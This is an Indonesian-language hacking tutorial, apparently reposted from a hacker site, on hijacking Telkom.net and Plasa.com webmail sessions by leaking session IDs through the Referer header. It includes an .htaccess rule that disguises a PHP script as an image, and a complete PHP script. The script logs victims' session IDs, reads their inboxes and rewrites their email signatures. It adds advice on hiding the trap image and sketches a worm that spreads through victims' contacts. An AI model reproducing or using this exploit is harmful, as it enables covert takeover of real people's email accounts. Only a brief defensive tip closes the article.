Assalamualaikum Wr,Wb
Telkom.net dan
Plasa.com
adalah fasilitas email gratis yang diberikan oleh PT Telkom. Pengguna
email telkomnet dan plasacom patut waswas, karena amat mudah untuk
menghack email di sana. Hanya dengan membuka sebuah email yang telah
dirancang khusus oleh attacker, email anda bisa menjadi milik attacker.
Dalam artikel ini saya akan tunjukkan apa kelemahannya, bagaimana cara
mengexploitasi kelemahan itu dan tentu saja bagaimana cara agar
terhindar dari serangan itu.
Webmail Session Hijacking
Teknik
hacking email dalam artikel ini adalah dengan cara hijacking session.
Oleh karena itu teknik ini hanya bisa dilakukan pada webmail telkom.net
dan plasa.com, pengguna telkom.net dan plasa.com yang menggunakan
Outlook/Thunderbird tidak rentan terhadap serangan ini.
Karena
http adalah protokol yang stateless, sedangkan untuk membuat session
server harus bisa memantau state user, maka digunakanlah session ID
sebagai kunci atau penanda suatu session. Bila sessionID diketahui
attacker, maka attacker bisa menguasai session korban. Orang lain,
siapapun yang membawa sessionID anda, akan dianggap oleh server sebagai
anda. Hijacking session adalah usaha untuk mendapatkan session ID
korban, dengan cara predicting, capturing, atau fixating session ID.
SessionID
diberikan oleh server dan harus dikembalikan lagi oleh browser (client)
setiap kali membuat request. Mekanisme penyimpanan dan pengiriman
session ID bisa dilakukan dengan dua cara:
- Session Cookie:
Session ID diberikan server dalam bentuk cookie dan disimpan oleh
browser. Setiap browser melakukan request, cookie tersebut akan
dikembalikan ke server lagi sebagai bukti bahwa user tersebut adalah
masih orang yang sama.
- URL Rewriting: Server
menyisipkan session ID dalam halaman html yang dikirimkan ke browser.
Session ID tersebut dimasukkan dalam bentuk URL di tag html tertentu
seperti link (tag A). Contohnya bila URL link aslinya adalah http://www.somesite.com/inbox.php Oleh server link tersebut akan disisipkan sessionID menjadi:
Dengan
cara ini setiap kali user mengklik link tersebut, maka sessionID juga
akan dikirim ke server sebagai bukti bahwa user tersebut adalah pengguna
session yang sah.
SessionID paling aman
disimpan dan dikirim kembali ke server dalam bentuk cookie, apalagi
bila cookie tersebut diamankan dengan bit secure atau httponly.
Kemungkinan serangan yang bisa dilancarkan untuk mencuri cookie adalah
dengan XSS attack dan sniffing attack, kedua jenis serangan itu bisa
dicegah dengan bit secure dan httponly.
Bila
cookie telah diamankan dengan secure bit, maka cookie tersebut tidak
bisa dicuri dengan sniffing karena cookie hanya dikirim melalui https,
cookie tersebut juga tidak bisa dicuri dengan serangan XSS karena akses
javascript terhadap cookie telah ditutup. Bila cookie hanya dilindungi
dengan httponly, maka cookie itu aman dari serangan XSS, namun rentan
sniffing bila cookie dikirimkan melalui http biasa.
Berbeda
dengan cookie, menyimpan Session ID dalam URL sangatlah berbahaya,
karena URL mudah dilihat, dikopi dan disimpan dalam bookmark, log file
dan sebagainya. Selain itu sessionID juga bisa bocor ke tempat lain
melalui header Referer. Sebab header Referer bertugas membawa URL dimana
sebuah request dilakukan. Bila dalam suatu halaman terjadi request
untuk mengambil gambar, maka header Referer akan mengandung URL dari
halaman tersebut. Dalam artikel ini saya akan menggunakan jurus header
Referer untuk membajak session webmail Telkom.net dan Plasa.com. Bagi
pemilik situs, tentu sering melihat header ini dengan program statistic
seperti Awstats untuk melihat pengunjung situs berasal dari situs mana
saja.
SessionID
webmail Telkom.net dan Plasa.com disimpan pada URL sehingga memudahkan
pembajakan session. Mari kita lihat bagaimana bentuk URL webmail
telkom.net dan plasa.com:
Stealing SessionID from Referer Header
Session
ID pada URL telkom.net dan plasa.com disisipkan setelah /Session/
hingga karakter / (slash). Sekarang bagaimana caranya attacker bisa
mengetahui URL yang sedang dibuka korban di browsernya? Di awal saya
sudah menyebutkan sekilas tentang header request yang bernama Referer.
Tugas dari header ini adalah mengirimkan URL halaman yang melakukan
request. Agar lebih jelasnya mari kita lihat sebuah contoh.
Ketika pengunjung sedang membuka halaman dengan URL:
Kemudian ketika terjadi request ke sebuah file image:
Maka pada request GET tersebut akan ada header seperti di bawah ini:
1
2
3
4
5
6
7
8
9
10
11
12
|
0
1
2
3
4
5
6
7
8
9
10
11
|
| GET /Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/batal.gif HTTP/1.1 Host: mail.telkom.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 GTB5
ImageShackToolbar/5.0.0 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/mailbox.wssp?Mailbox=INBOX& Cache-Control: max-age=0 |
Pada
baris ke-10 terdapat header Referer yang menunjukkan bahwa request
tersebut terjadi ketika kepada user sedang berada di URL tersebut.
Karena URL yang direquest adalah
http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/batal.gif,
maka web server mail.telkom.net tempat file batal.gif tersebut berada,
dapat mengetahui URL ketika request tersebut terjadi. Sekarang bayangkan
apa yang terjadi bila request tersebut bukan mendownload image dari
mail.telkom.net, tapi dari server
www.evilhackersite.com/image.jpg. Web server di
www.evilhackersite.com
tentu akan mendapatkan URL tempat terjadinya request dari header
Referer. Dan karena URL tersebut mengandung Session ID, maka dengan
mudah attacker akan membajak session anda.
Attack Scenario
Webmail
telkom.net dan plasa.com menggunakan URL sebagai mekanisme pertukaran
session ID. Attacker bisa menjebak korban untuk membuka sebuah email
yang mengandung gambar yang berlokasi di server attacker. Tag IMG
tersebut akan membuat browser korban melakukan request ke server
attacker, dengan tentu saja mengirimkan URL korban dalam header Referer.
Dengan mengetahui session ID korban, attacker dengan mudah menguasai
account webmail korban.
Preparing the Script
Sebelum
bisa melakukan serangan, yang pertama harus dilakukan adalah menyiapkan
server side script sebagai target request untuk menangkap SessionID
korban. Server side script ini akan di-”masking” sebagai file JPG dengan
menggunakan mod_rewrite Apache (.htaccess). Server side script yang
dimasking sebagai file JPG inilah yang akan dimasukkan dalam tag IMG
dalam email yang dibaca korban. Bila korban membaca email attacker, maka
akan terjadi request ke server side script itu, sehingga attacker bisa
mendapatkan session ID korban dan menguasai emailnya.
|
|
RewriteEngine On
RewriteBase /
RewriteRule mylab/image.jpg mylab/checkmail.php
|
|
Berikutnya
saya harus menyiapkan file checkmail.php. Tugas dari script php itu
adalah mendapatkan session ID kemudian langsung membajak session korban
bermodalkan session ID tersebut.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
|
| <?php // Ambil header Referer $ref = $_SERVER["HTTP_REFERER"]; $telkomnet = false; $plasacom = false; $width = 468; $height = 100; if (strpos($ref,“telkom.net”)>-1) { $telkomnet = true; } if (strpos($ref,“plasa.com”)>-1) { $plasacom = true; } if ($telkomnet===false && $plasacom===false) { exit(); }$file = fopen(“daftarkorban.txt”,“a”); $url_tokens = parse_url($ref); $host = $url_tokens["host"]; $tokens = explode(“/”,$ref); $sessid = $tokens[4]; fwrite($file,“######\n“); fwrite($file,“REFERER:”.$_SERVER["HTTP_REFERER"].“\n“); fwrite($file,“SESSID:”.$sessid.“\n“);
$urlhost = “http://$host/Session/$sessid/mailbox.wssp?Mailbox=INBOX&”; $inboxhtml = file_get_contents($urlhost);
preg_match(‘/<title>(.*?)<\/title>/i’, $inboxhtml, $matches); $title=$matches[1]; $email = $title; $pos = strpos($title,” “); if ($pos > -1) { $email = substr($title,0,$pos); }
fwrite($file,“KORBAN:”.$email.“\n“); fwrite($file,“******\n“); fclose($file);
$image = ImageCreate($width, $height); $white = ImageColorAllocate($image, 255, 255, 255); $black = ImageColorAllocate($image, 0, 0, 0); $grey = ImageColorAllocate($image, 204, 204, 204); ImageFill($image, 0, 0, $black); ImageString($image, 3, 15, 5, $sessid, $white); ImageString($image, 3, 25, 25, $email, $white);
// Writing Signature… $url = “http://mail.telkom.net/Session/$sessid/settings.wssp”; if ($plasacom==true) { $url = “http://mail1.plasa.com/Session/$sessid/settings1.wssp”; } $old_settings = file_get_contents($url); preg_match(‘/<textarea(.*?)>(.*?)<\/textarea>/i’, $old_settings, $matches); $oldsig = $matches[2];
$data = array(); $data["UserFrom"] = $email; $newsig = “[YOUR EMAIL HAS BEEN HACKED]“.$oldsig; $data["Signature"] = $newsig; $data["Update"] = “Update”;
$response = doPost($url,$data); if ((strpos($response,“Updated”)>-1 && $telkomnet==true) || $plasacom==true) { ImageString($image, 3, 35, 50, “Signature anda berhasil diganti menjadi:” , $white); ImageString($image, 3, 45, 65, $newsig , $white); } header(“Content-Type: image/jpeg”); ImageJpeg($image); ImageDestroy($image);
function doPost($url,$data) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $response = curl_exec($ch); if(curl_errno($ch)) { $response = curl_error($ch); } curl_close($ch); return $response; } ?> |
Cara
kerja script di atas adalah: Pada baris ke-3 isi header Referer
diambil. Kemudian dibuat dan dibuka file daftarkorban.txt. File ini
adalah log yang menyimpan daftar korban. Pada baris ke-22, session ID
diambil dari header referer. Setelah session ID didapatkan kini script
bisa mengubah signature korban, dengan cara mengirimkan POST request ke
http://mail.telkom.net/Session/[SESSIONID_KORBAN]/settings.wssp,
perhatikan baris ke-65. Setelah mengubah signature korban, pada baris
ke-66 sampai baris ke-72, script membuat image dengan pesan “Signature
anda berhasil diganti menjadi:”.
Launch The Attack
Oke,
kini semua persiapan sudah siap. Kini saatnya kita melancarkan serangan
dengan mengirimkan email html yang mengandung tag IMG. Dalam contoh
attacker adalah
rizki.wicaksono@telkom.net dan korban adalah
rizki.wicaksono@plasa.com.
Ingat ini hanya contoh, dalam kenyataannya attacker bisa menggunakan
email apapun, bahkan email palsu (anonymous). Perhatikan gambar berikut
ini yang menunjukan bagaimana email yang berisi jebakan dibuat dan
ditujukan untuk korban.
Dalam gambar tersebut
email diisi dengan tag HTML IMG. Perhatikan bahwa saya bisa saja membuat
image tersebut invisible dengan memberikan atribut width dan src 0.
Dengan membuat image menjadi invisible, korban tidak akan menyadari
bahwa emailnya telah dibajak. Tapi untuk contoh saya membiarkan gambar
berukuran besar. Berikut ini adalah isi tanda tangan (signature) email
korban sebelum email dibuka.
Dan gambar berikut adalah gambar ketika email attacker tiba.
Dan
gambar berikut adalah gambar ketika email attacker dibuka oleh korban.
Pada gambar tersebut terlihat bahwa session id korban dan pesan bahwa
signature korban berubah tertulis dalam file image.jpg.
Pada
saat korban membuka email dari attacker, pada saat itu juga attacker
menguasai penuh account email korban. Dalam contoh artikel ini attacker
mengubah signature korban dengan menambahkan string [YOUR EMAIL HAS BEEN
HACKED]. Berikut ini adalah gambar signature korban setelah korban
membuka email attacker.
Worm Attack: More Dangerous Scenario
Skenario
serangan yang lebih berbahaya adalah bila attacker mengeksploitasi
kelemahan ini untuk menciptakan worm. Ingat bahwa ketika attacker
mendapatkan session ID, pada saat itu attacker memiliki power yang
setara dengan korban. Dengan session korban, attacker bisa mengirimkan
email serangan yang sama ke calon korban lain yang ada di dalam daftar
buku alamat korban. Begitu teman korban membuka email itu, maka session
dia juga dalam genggaman attacker dan dia juga akan menyebarkan serangan
ke teman-temannya. Hal ini akan memicu reaksi berantai yang berbahaya.
Sulitkah
membuat worm seperti itu? Tidak sulit kok, mudah sekali. Semua itu
tidak lebih dari kombinasi request GET dan POST dengan berbekal session
ID korban. Attacker harus membaca phone book dengan mengirim request
HTTP (GET/POST) dengan session ID korban. Setelah itu attacker akan
mengirimkan email serangan ke teman-teman korban juga dengan melakukan
request HTTP dengan session ID korban. Begitu seterusnya. Tidak sulit
bukan, apalagi buat orang yang sudah sering memprogram.
Tips Menghindari Serangan
Karena
serangan ini dilakukan dengan membajak session web, maka serangan ini
hanya bisa dilakukan bila korban membaca email telkom.net dan plasa.com
dengan webmail. Jadi agar terhindar dari serangan ini, gunakanlah akses
POP3 atau IMAP untuk membaca email. Dengan menggunakan email client
non-web seperti Thunderbird dan Outlook anda akan aman dari serangan
ini.
Semoga Bermanfaar
Sumber : Binus Hacker